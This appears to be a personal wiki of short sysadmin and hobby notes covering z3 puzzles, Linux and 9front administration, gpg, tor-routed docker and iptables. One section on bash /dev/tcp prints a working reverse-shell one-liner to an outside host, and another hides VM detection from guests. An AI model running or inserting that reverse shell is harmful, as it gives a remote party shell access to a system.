    solver.add(c == Sum(CountConsonants(s, 34), CC(v), CC(c)))

    solver.add(o == Concat(StringVal("This sentence has "), numstr(v), " vowels and ", numstr(c), " consonants"))
vulpine is eepy says
oh no it's unusably slow
hi says
well, maybe we don't actually need to count the vowels and consonants in z3, it's not like the names of numbers change

the much more boring but better solution

might as well just use num2words so i don't misspell forty again...

../tangle/wordhard.py
from z3 import *
from num2words import num2words

it's so nice to have normal values you can do python things with

../tangle/wordhard.py
def vowels(s):
    return sum(1 for c in s if c in "aeiouAEIOU")

def consonants(s):
    return sum(1 for c in s if c.isalpha() and c not in "aeiouAEIOU")

like before, i assert the names for some numbers, but this time i also record the length and number of vowels and consonants

../tangle/wordhard.py
def gen_numbers(solver, ran):
    numstr = Function('numstr', IntSort(), StringSort())
    numlen = Function('numlen', IntSort(), IntSort())
    numvow = Function('numvow', IntSort(), IntSort())
    numcon = Function('numcon', IntSort(), IntSort())

    for n in ran:
        name = num2words(n)

        solver.add(numstr(n) == name)
        solver.add(numlen(n) == len(name))
        solver.add(numvow(n) == vowels(name))
        solver.add(numcon(n) == consonants(name))

    return numstr, numlen, numvow, numcon

have to be more strict about what numbers are in range when not tying everything to actual strings

../tangle/wordhard.py
def fence(solver, ran, *vars):
    for v in vars:
        solver.add(And(v >= ran.start, v < ran.stop))

time to make assertions about some numbers added together instead of expensive strings

../tangle/wordhard.py
def characters_long(solver):
    numstr, numlen, numvow, numcon = gen_numbers(solver, range(100))
    o = String("output")
    l = Int("l")

    fence(solver, range(100), l)
    solver.add(l == numlen(l)+len("this sentence is  characters long"))
    solver.add(o == Concat("This sentence is ", numstr(l), " characters long"))

def vowels_con(solver):
    numstr, numlen, numvow, numcon = gen_numbers(solver, range(100))
    sam = "thissentencehasvowelsandconsonants"
    o = String("output")
    v = Int("v")
    c = Int("c")

    fence(solver, range(100), v, c)
    solver.add(v == vowels(sam)+numvow(v)+numvow(c))
    solver.add(c == consonants(sam)+numcon(v)+numcon(c))
    solver.add(o == Concat("This sentence has ", numstr(v), " vowels and ", numstr(c), " consonants"))

def vowels_con_len(solver):
    numstr, numlen, numvow, numcon = gen_numbers(solver, range(100))
    sam = "this sentence has  vowels,  consonants, and is  characters long"
    o = String("output")
    v = Int("v")
    c = Int("c")
    l = Int("l")

    fence(solver, range(100), v, c, l)
    solver.add(v == vowels(sam)+numvow(v)+numvow(c)+numvow(l))
    solver.add(c == consonants(sam)+numcon(v)+numcon(c)+numcon(l))
    solver.add(l == len(sam)+numlen(v)+numlen(c)+numlen(l))
    solver.add(o == Concat("This sentence has ", numstr(v), " vowels, ", numstr(c), " consonants, and is ", numstr(l), " characters long"))

nyoom!

now we can "This sentence is forty-two characters long" or "This sentence has eighteen vowels and thirty-four consonants" and even combine them like "This sentence has twenty-three vowels, fifty-two consonants, and is ninety characters long" at a reasonable speed

rc.d

rc_bg

if you set rg_bg to YES it will background the process for you

this seems to not be very well documented

installing ubports on mako

ubuntu touch is a failed and abandoned attempt by canonical to make a phone linux distro. ubports is an attempt to continue it.

this guide explains how to install it without the annoying electron autoinstaller i was unable to get working.

table of contents

requirements

you will need ubuntu-device-flash. it is on the aur if using arch

choose a channel

https://system-image.ubports.com/ubports-touch/16.04/ has a list of channels.

at the time of writing, devel edge rc (release candidate) and stable are the options to choose from.

[2023-01-01 Sun]: happy new years! yes, it is twenty twenty three, and the version (which ubuntu bases on year dot month) is still "16.04"... i do hope the ubports people updated the kernel at least.

time to flash

boot into your bootloader, then you can run

ubuntu-device-flash touch --server https://system-image.ubports.com --channel ubports-touch/16.04/<your channel> --bootstrap 

replacing <your channel> with the channel you chose, for example rc

wait a bit

you should see an animation with orange dots

now it hopefully is installed! if not...

troubleshooting

getting sent back to recovery

if it boots you back to recovery when trying to flash, you may need to increase your cache partition size

keeping your storage tidy with pacman

pacman is a lovely--and decently fast--package manager, used by arch linux. nothing beats apk in speed though :P

table of contents

clean stale cache

after verifying all your stuff is in working order, this is safe to run

pacman -Sc

cleaning ALL cache

this one will leave you regretting you did this if a package breaks in the future, though in my experience and despite arch's reputation, that will happen quite rarely.

pacman -Scc

removing no longer required dependencies

this is somewhat akin to apt autoremove

pacman -Qttdq | pacman -Rns -

keeping kernel modules

when the kernel gets updated without rebooting, it will no longer be easy to load new kernel modules, as the directory of old modules gets automatically deleted.

the Extra kernel-modules-hook (github) package resolves this by creating a hook that keeps old kernel modules.

somewhat hacky

these might break and are of questionable quality.

list largest non-dependencies

breaks if you have a package or a field with a capital letter N.
pacman -Qtti | grep 'Name\|Installed Size' | tr "\n" " " | tr "N" "\n" | awk '{print $3 " " $7 $8}' | sort -k2 -h

generating a gpg key

avoid pgp if you can, but if you have to use it, these are some useful options to use.

Curve25519 keys

using --full-generate-key --expert allows you to use all the hidden ECC options, including Curve25519

[2022-08-05 Fri]: a word of warning: at the time of writing, Curve25519 seems to be the only curve-based algorithm that gpg supports while also being deemed safe by cr.yp.to's safecurves guidelines.

remove limitations on uid

annoyingly, gpg enforces a 5 character minimum length for uid's by default. use --allow-freeform-uid to disable this behavior

do put an email though, else some keyservers will not accept it

"There are two major products that come out of Berkeley: LSD and UNIX. We don't believe this to be a coincidence." -- Jeremy S. Anderson

opinionated recommendations

the main key should have minimal capabilities

ideally only Certify. using subkeys for more stuff allows easier key rotation. also this allows you to store the main key securely, and only keep the easily-rotatable (and revocable) subkeys on your daily-driver computer.

to add secret subkeys, run --edit-key on your key id, and then use the addkey command. save when done.

set short expiration periods

the shorter the better. key expiration dates force people to seek updated copies of your key, making it more difficult for them to use, for example, a compromised subkey.

note that, despite the name, there are no adverse effects to your key expiring. there is no need to make a whole new key, you can just extend the expiration date. it is just to make sure you are still in control of the key (or at least someone, hence revocation certificates) and that people have a reasonably recent version of it.

to extend the expiration date, run --edit-key on your key id, and then use the expire command. save when done.

generate revocation certificates for common reasons just in case

generate a few for reasons such as 'i died', 'i forgot the password', 'my key got compromised', etc, and store them in a safe place. gpg automatically makes revocation certificates that have a blank reason and can be used in a pinch, however it is better to have ones that have reasons.

gpg --output revoke.asc --gen-revoke E621E926AAA69420

incus

switch from kubernetes?

i am thinking of switching my kubernetes cluster to an incus one, managing both containers and virtual machines in one place seems neat. also, at least from my cursory look, the incus documentation feels a lot more useful than kubernetes'. not sure how i feel about the system containers instead of application containers part though, i would like to at least somewhat declaratively configure applications to host.

hi says
kubevirt does exist, but it is a bit odd

libressl ld.conf on arch

archlinux libressl appears to have broken ld c linking, this fixes it

sudo sh -c 'echo /usr/lib/libressl > /etc/ld.so.conf.d/libressl.conf' && sudo ldconfig

hide that a libvirt guest is in a vm

not much performance impact

pass through cpu in information

this can also be done as a toggle switch in virt-manager's cpu section

<cpu mode="host-passthrough" check="none" migratable="on"/>

[2022-09-22 Thu]: maybe try check="partial" instead? someone recommended that however i cannot find any documentation on what it does

pass through bios information

<os>
  <smbios mode="host"/>
</os>

lots of performance impact

disabling hypervisor optimisations

<qemu:commandline>
  <qemu:arg value='-cpu'/>
  <qemu:arg value='host,hv_time,kvm=off,hv_vendor_id=null,-hypervisor'/>
</qemu:commandline>

seems to disable KVM too. sad.

using non-virtio drivers

virtio drivers make vm's a lot faster but are easy to detect

split colors

dark red

behind and lost time

light red

behind and gained time

light green

ahead and lost time

saturated green

ahead and gained time

gold

segment faster than ever before

tlstunnel

tlstunnel is a lovely tls reverse-proxy with automagic acme certificate renewal.

openbsd

listening on ipv6 when using openbsd seems to be broken, and breaks acme cert generation. this can be temporarily fixed by patching tlstunnel to hardcode listening on your ipv6 interface

[2023-02-25 Sat]: you do not need to patch it manually anymore! tlstunnel now supports a listen directive, however it seems you will have to copy it to every frontend.

faces

a face is kind of like a profile picture

table of contents

format/tree

faces are in the plan9 image format and live in /lib/face or $home/lib/face. in this, we'll refer to either of them as lib/face.

machinelist

the lib/face/.machinelist file contains aliases of hostnames in a space-delineated format.

meow.example.com meow

would make face lookups for meow.example.com go to meow

48x48x<B>

in lib/face/48x48x<B>, with <B> replaced with the number of bits-per-pixel, is where actual face files live.

there is a convention of putting faces in directories based on the first letter (ie g/glenda.1 or x/xenia.1), however as far as i know, this is not actually required by anything.

dict

serving as a machine-readable index for the faces, the lib/face/48x48x<B>/.dict file contains domains names and relative paths for faces.

for example, if lib/face/48x48x8/.dict contained

meow/xenia x/xenia.1

then looking up the face for xenia@meow (or [email protected] if you had the aforementioned machinelist entry), it would look for a face at lib/face/48x48x8/x/xenia.1.

creating a face

largely based on 9p wiki's create a face page.

mug(1)

mug is a tool for cropping pictures into grayscale face files

iconv + resample

png -c my-cool-icon.png |
iconv -c m8 |
resample -x 48 -y 48 > cool.1

the m8 is the channel format. m means color-mapped, and 8 is the number of bits-per-pixel. instead of m, you can use k for grayscale, r g b for red green or blue, and x for it to pick for you.

xfburn FailureCBD error

if you get the error

Failure: CDB= WRITE(10) : 2a 00 00 00 00 00 00 00 10 00 : dxfer_len= 32768

try reducing the write speed

it could also mean you are trying to burn too large of an iso, or that you have a hardware failure[1]

footnotes

  1. https://forums.linuxmint.com/viewtopic.php?t=268059

managing accounts on 9front

this assumes you are using hjfs in a cpu setup (ie with a fileserver and auth). if you are using cwfs, you should be able to just replace /srv/hjfs.cmd with /srv/cwfs.cmd for most of it.

table of contents

creating accounts

echo newuser bob >> /srv/hjfs.cmd

will create a user named bob

use auth/keyfs to mount the authentication database, then set a password and enable the account

auth/keyfs
auth/changeuser bob
auth/enable bob

[2023-08-27 Sun]: mkf recommends filling in the email-related fields, as some programs use them

adding a user to a group

echo newuser upas +bob >> /srv/hjfs.cmd

will add bob to the upas group, which allows mail. the adm and sys groups allow adding users and accessing system files respectively. there is also cron for allowing recurring tasks.

renaming users

echo newuser bob jane >> /srv/hjfs.cmd

to rename bob to jane. you will also need to set a new password for them in the auth server.

auth/changeuser jane

setup defaults

run /sys/lib/newuser as the new user to get the default profile and stuff in your home directory

xinput

disabling a keyboard

list input devices with xinput list and find the id number of the misbehaving device

then you can use xinput float <id> to disable it. if you change your mind, xinput reattach <id> <masterid> to get it back.

/dev/tcp shenanigans

bash pretends weird files in /dev/tcp/<hostname>/<port> exist, allowing outgoing tcp connections without the need for external utilities. however, their usefulness is limited, as actual programs cannot access these fake files without the help of shell redirects.

using like netcat

exec 926<>/dev/tcp/vulpineawoo.cheapiesystems.com/6667
cat <&926 & cat >&926

will connect you to irc (after manually registering and possibly solving a ping-cookie, of course)

using as a reverse-shell

bash -i >& /dev/tcp/noisytoot.org/1337 0>&1

will give noisytoot shell access to your computer.

create custom compose keybinds with XCompose

if you arent on a system without compose, compose is quite useful for typing those special characters. however you will quickly be tempted to add your own compose keybinds!

adding your own compose keybinds is as simple as putting them in a file called .XCompose in your home directory

<Multi_key> <o> <9>	: "⑨"	U2468 # CIRCLED DIGIT NINE

you should include your existing compose combinations if you still want to be able to use them, ie

include "%L"

to use the predefined compose combinations for your locale. you can also just hard-code the path directly ignoring your locale, for example to force US english unicode compose keys, you can put /usr/share/X11/locale/en_US.UTF-8/Compose instead of %L

mutt

useful patterns

there are way more than these, but here are a few i find most useful:

~Cstuff

mail part of a certain list

~p

stuff directed at you

~=

find duplicates messages

!~i.

messages lacking a Message-ID

powdertoy

the powder toy is a 2D sandbox simulation thing

magic values

deut life max amount

despite many places saying the max amount is 65535 (16bit unsigned), this is only for saves and stamps, the real limit is much higher. life is stored as a 32bit signed integer as of [2023-02-04 Sat], meaning the maximum value is 2147483647 (231 - 1).

welding temp for iron

this melts it but will get quickly conducted away

1700 °C with the property editing tool

filt reasonable heat sensitivity

a ctime of 1073741792 (230 - 32) when AND'ing filt will activate at around 50 °C.

commands

the console may be entered by pressing the ` (backtick) key.

pressure

tpt.set_pressure(nil,nil,nil,nil,200)

will set the pressure to 200 everywhere

loadfile

the loadfile command will load a lua file relative to your data directory (or working directory if using old structure), and create an anonymous function.

loadfile("cat.lua")()

adding a (), optionally putting in arguments, will call the function

Ɛ is not epsilon: a mini-rant about a seo spam site

recently i came across a website about a unicode character, backwards3[.]info, which is apparently dedicated to telling everyone that the Ɛ "backwards 3" character is called epsilon.

vulpine is eepy says
not linking to it directly because the rest of that site appears to be just seo spam stuff

except wait, ε is the actual epsilon character, and it's a lot smaller. maybe Ɛ is the capitalized version? well no, greek capital letter epsilon is Ε. what the heck is Ɛ then?

hi says
let's feed it to unicode_names2!

Ɛ is latin capital letter open e. that's right, the entire premise of backwards3[.]info is so backwards (hehe) that they chose a character from a completely different alphabet...

raspistill

cgi

you can expose a pi cam to remote viewing with a cgi script

tangle/full.cgi
#!/bin/sh
echo "Content-Type: image/jpeg"
echo
raspistill -o - -t 1 -n

make it smol

qvga is smol and bandwidth friendly

tangle/qvga.cgi
#!/bin/sh
echo "Content-Type: image/jpeg"
echo
raspistill -o - -t 1 -n -w 320 -h 240

i also have additional sizes setup, so they can be sent without extra scaling to my local pixelflut server.

managing weechat logs

removing joins/parts/quits/nicks/aways

this can make logs considerably smaller. on even a very active channel, this was able to shrink my logs to 1/5 of the size.

awk -F'\t' '$2 != "<--" && $2 != "-->" && $2 != "--" && $2 != "" {print}'

send traffic from docker containers through tor

this can offer a bit of extra protection against your tor hidden service being accidentally deanonymized by unsafe server software. however, keep in mind that docker is not a security device and can be escaped from if you're not careful.

hi says
if you do not need the docker part, it may be better to use orjail, which does a similar thing but using network namespaces directly instead of relying on docker
lacks ipv6 support. as of [2023-11-29 Wed] docker hides ipv6 behind an "experimental" config parameter. ipv6 also depends on icmp so it cannot just be dropped

make a docker network

docker network create tor --subnet 10.42.0.0/24

have tor listen for connections

TransPort 10.42.0.1:9040
DNSPort 10.42.0.1:5353

should be added to your torrc, then restart it

add iptables rules

iptables -t nat -I PREROUTING -s 10.42.0.0/24 -p tcp --syn -j REDIRECT --to-ports 9040
iptables -t nat -I PREROUTING -s 10.42.0.0/24 -p udp -j REDIRECT --to-ports 5353
iptables -I DOCKER-USER -s 10.42.0.0/24 -p tcp --syn --dst 10.42.0.1 -j DROP
iptables -I DOCKER-USER -s 10.42.0.0/24 -p icmp -j DROP

this sends all tcp traffic over tor, and since tor does not support udp, it sends all udp traffic to tor's dns resolver (which amusingly means that any routable ip can resolve dns). icmp also cannot be sent over tor, so just drop it.

hi says
this blocks opening direct connections to the host. if you do want to allow that, change -I DOCKER-USER to -t nat -I PREROUTING and DROP to ACCEPT on the third line.

it can also be made into a systemd oneshot service, ensuring that it'll still work after rebooting

[Unit]
Description=add iptables rules
After=docker.service
Before=tor.service

[Service]
Type=oneshot
ExecStart=iptables -t nat -I PREROUTING -s 10.42.0.0/24 -p tcp --syn -j REDIRECT --to-ports 9040
ExecStart=iptables -t nat -I PREROUTING -s 10.42.0.0/24 -p udp -j REDIRECT --to-ports 5353
ExecStart=iptables -I DOCKER-USER -s 10.42.0.0/24 -p tcp --syn --dst 10.42.0.1 -j DROP
ExecStart=iptables -I DOCKER-USER -s 10.42.0.0/24 -p icmp -j DROP
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

connect a container to the network

use the --network flag during docker run, or you can add an existing container with docker network connect

docker network connect tor yourcontainerid

(replacing yourcontainerid with the container id that you want to send through tor)

multiplexing on 9front

this page details how to (re)attach to processes. if you just have an unstable connection, and do not want to reattach from a seperate machine, consider aan(8) instead.

table of contents

text

pin (mq)

mq's included pin(1) wrapper lets you easily re-attach to commands

hubfs

hubfs is similar to mq, but older, and does not include an equivalant to pin(1)

graphical

TODO mounting a rio session

delete keys from hockeypuck

adapted from adulau's github gist

table of contents

deleting a key from the database

get hash

on the web interface, search for the key. the Hash= value in the search result will be the md5 hash

connect to postgres

connnect using the psql command. if using the nixos module, you will have to switch to the hockeypuck user.

sudo -u hockeypuck psql

get the rfingerprint value

select rfingerprint from keys where md5 in ('YOURMD5');

replacing YOURMD5 with the hash you found earlier.

delete subkeys

delete from subkeys where rfingerprint in ('YOURRFINGERPRINT');

replacing YOURRFINGERPRINT with the rfingerprint gotten earlier.

delete main key

delete from keys where rfingerprint in ('YOURRFINGERPRINT');

again, replacing YOURRFINGERPRINT with the rfingerprint gotten earlier.

TODO blacklisting a key

k3s

a simple to install kubernetes distribution

resetting a cluster

start k3s with --cluster-reset

k3s server --cluster-reset

let it run and then it'll tell you to delete ${datadir}/server/db on every other node

rm -r /var/lib/rancher/k3s/server/db

then you can start them back up and they'll rejoin

gitignore

\#*\#
*\~
.\#*
*.gmi
*.html
tangle

HP-16C programs

press g P/R to toggle programming mode, GTO . <nnn> to jump to a line, BSP to delete a line, and g RTN to end a program.

table of contents

exponent function

(for positive integers only. uses 2 stack and registers I, 0)

borrowed from this blog and modified avoid messing up stack

numkeysdisplaydescription
001LBL E43,22, Econvenient entry point
002STO I44 Istore in I
003R↓33pop old I value
004STO 044 0store in 0
005DSZ43 23decrement I and nop branch
006LBL 043,22, 0label for loop target
007RCL 045 0push 0 to stack
008*20multiply it
009DSZ43 23decrement and branch unless 0
010GTO 022 0I is not 0, loop again
011RTN43 21return

natural log

(uses 3 stack, flag 0, and registers I, 0)

based on part of an algorithm from Valentín Albillo's Boldly Going article but reworked to not mess up the stack

numkeysdisplaydescription
012LBL 743,22, 7entry point
013ENTER36dup
0141/x43 26inverse
015CF 043, 5, 0default flag
016x>y43 3input<1?
017SF 043, 4, 0save for later
018+40add inverse
01922float mode:
020/10no shifts ;_;
02111put 1
022STO I44 32into I
02311
02455
025EEX42 49
026CHS49
02766make big const
028+401+ from before
029x<->y34swap for inp n
030LBL 943,22, 9loop target
031STO 044 0store old val
03211
033+40increment
03422
035/10halve
036sqrt43 25
037ISZ43 24increment I
038x>y43 3x>y?
039GTO 922 9yes, loop
040R↓33
041R↓33pop unneeded
042RCL 045 0restore old
04311
044-30decrement
045ENTER36
046+40double
047sqrt43 25
048DSZ43 23put I back
049DSZ43 23decrement I
050LBL 843,22, 8loop target
051ENTER36
052+40double
053DSZ43 23decrement I
054GTO 822 8I not 0, loop
055F? 043, 6, 0recall input<1
056CHS49yes, negate
057RTN43 21return

factorial

(for integers > 1 only. uses 2 stack and register I)

numkeysdisplaydescription
058LBL F43,22, Fentry point
059STO I43 32store in I
060DSZ43 23skip first
061LBL 443,22, 4loop target
062RCL I45 32push I
063*20multiply I
064DSZ43 23decrement I
065GTO 422 4not 0? loop
066RTN43 21return

alpine linux

alpine linux is a smol linux distro with a super fast package manager (apk)

table of contents

manpages and other documentation

install the docs metapackage to automatically download the documentation, or install the packages suffixed with -doc to install the documentation for a specific package

note that sometimes the -doc suffixed package is only for the main package. when you have a few packages with different configurations of the same software, for example emacs-x11 emacs-gtk3 etc share the emacs-doc package for their documentation (ew texinfo) which will not automatically get pulled in by docs

mouse cursor not changing

[2022-10-08 Sat]: this has been bothering me for like a year, i finally found the solution by accident today...

if its stuck with the default pointer and never changes (ie when hovering over text), you are probably missing a video driver. if using intel graphics, the package is xf86-video-intel

terminal bell (pulseaudio)

pulseaudio will eat the bell by default on alpine, causing the bell to be silent on terminals like xfce4-terminal that use it for beeping.

we can get a sound to play by with the module-x11-bell module and a sample by adding

### audible bell
load-sample-lazy x11-bell /usr/share/sounds/freedesktop/stereo/bell.oga
load-module module-x11-bell sample=x11-bell

to the relevant config file (ie /etc/pulse/default.pa) and restarting pulseaudio

customize install

alpine defaults to ext4 and having a swap partition, but this can be changed with some environment variables when running the installer

ROOTFS=btrfs SWAP_SIZE=0 setup-alpine

ape wine

if you have wine installed, linux will annoyingly try to run APE's as windows executables

run

  sudo sh -c "echo ':APE:M::MZqFpD::/bin/sh:' >/proc/sys/fs/binfmt_misc/register"

to fix it until the next boot, or

  sudo sh -c "echo ':APE:M::MZqFpD::/bin/sh:' >/etc/binfmt.d/ape.conf"

for a permanent fix after the next boot if using systemd

attic binary cache

a pretty nice nix binary cache server

tips

pushing build dependencies

there is an open issue about supporting this, but for now it can be worked around with some nix-store

nix-store -q --valid-derivers result* |
xargs nix-store -qR --include-outputs -- |
grep -v '\.drv$' |
attic push --stdin mycache

pushing flake inputs

nix flake archive --json |
jq -r '.. | .path? | strings' |
attic push --stdin mycache

IHG

internet

the wifi access code is the property id, which is in the captive portal's url

https://84jnvbol5d.execute-api.us-east-1.amazonaws.com/hotel/?propertyid= ROCGF &login_url=https%3A%2F%2Fn221.network-auth.com%2Fsplash%2Flogin%3Fmauth%3...

minecraft

place

cat

you can place a cat statue with

/place template minecraft:woodland_mansion/1x2_d4

type blåhaj on chrome os

press C-Space to switch to the international keyboard, then you can type AltGr-S-0 a (AltGr is the alt key on the right) to get the å

[2023-10-28 Sat]: seems they changed C-Space to only work if you have an international keyboard layout enabled in the settings. once you do that it should toggle like before

github

suggesting changes on pr's

when commenting on a line, you can suggest replacing it by making a codeblock with the language set to suggestion

```suggestion
replacement stuff
```

forwarding ports with iptables

this can be useful for giving ports to libvirt guests with the default nat configuration

routing

this is sufficient if you are not blocking stuff by default in iptables

for example to forward 192.168.1.25:2269 to 192.168.122.23:22

iptables -t nat -I PREROUTING -p tcp -d 192.168.1.25 --dport 2269 -j DNAT --to-destination 192.168.122.23:22

iptables -t nat -A POSTROUTING -p tcp -s 192.168.122.0/24 -j MASQUERADE

[2023-06-25 Sun]: if you have a small number of hosts to forward, using SNAT instead of MASQUERADE and explicitly setting --to-source may be faster

accepting

if you do block stuff by default, you will need to accept the forwarded connections

for example to allow forwarding to the 192.168.122.0/24 subnet

iptables -I FORWARD -m state -d 192.168.122.0/24 --state NEW,RELATED,ESTABLISHED -j ACCEPT

minetest skins

minetest uses a similar format to minecraft's skins, however there is only an overlay texture for the head.

signing a cert with openssl

you'll need a certificate signing request to sign. have whoever you want to sign a cert for make a csr and send it to you.

openssl req -newkey rsa:4096 -noenc -keyout meow.key -out meow.csr -subj '/CN=meow.example.com'

then the signing request can be signed to produce a certificate. note that openssl will not copy over extensions from the csr by default, so add them in with -addext.

openssl req -CAkey my-ca.key -CA my-ca.pem -addext basicConstraints=critical,CA:FALSE -addext 'subjectAltName=DNS:meow.example.com' -in meow.csr -out meow.pem

out pops the signed certificate!